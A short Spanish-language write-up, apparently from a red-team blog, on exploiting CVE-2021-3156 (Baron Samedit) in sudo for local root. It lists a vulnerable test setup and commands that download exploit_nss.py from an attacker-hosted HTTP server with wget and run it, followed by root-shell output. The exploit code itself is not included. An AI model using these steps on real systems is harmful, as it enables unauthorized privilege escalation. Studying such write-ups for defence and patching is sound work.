
Prueba de concepto en Python del exploit para CVE-2021-3156 (Baron Samedit), un desbordamiento de heap en sudoedit que permite la escalada de privilegios local a root en compilaciones vulnerables de sudo.
📅 Fecha: 2025-06-08
✍️ Autor: @TopskiyPavelQwertyGang
🧠 Investigador de seguridad | Entusiasta del Red Team
sudoedit (sudo)El heap-overflow en sudoedit permite que un usuario local obtenga acceso de root
al ejecutar el comando sudoedit con parámetros preparados de antemano.
La explotación está activa para versiones de sudo < 1.9.5p2, incluidas las imágenes populares de Ubuntu/Debian/CentOS.
Incluso con ASLR habilitado, la vulnerabilidad sigue siendo explotable.
OS : Ubuntu 20.04.3 LTS
glibc : 2.31 (tcache ON)
sudo : 1.8.31 (vulnerable)
ASLR : 2 (habilitado)
glibc y sudo:ldd --version
sudo --version
python3 -m http.server 80
wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py
$ python3 exploit_nss.py
# whoami
root
La explotación de CVE-2021-3156 sigue siendo posible incluso con ASLR activo, si glibc ≥ 2.26 y sudo es una versión vulnerable.
El exploit más estable resultó ser exploit_nss.py, que funciona al primer intento con una configuración correcta de NSS.
🧨 Sistema bajo control.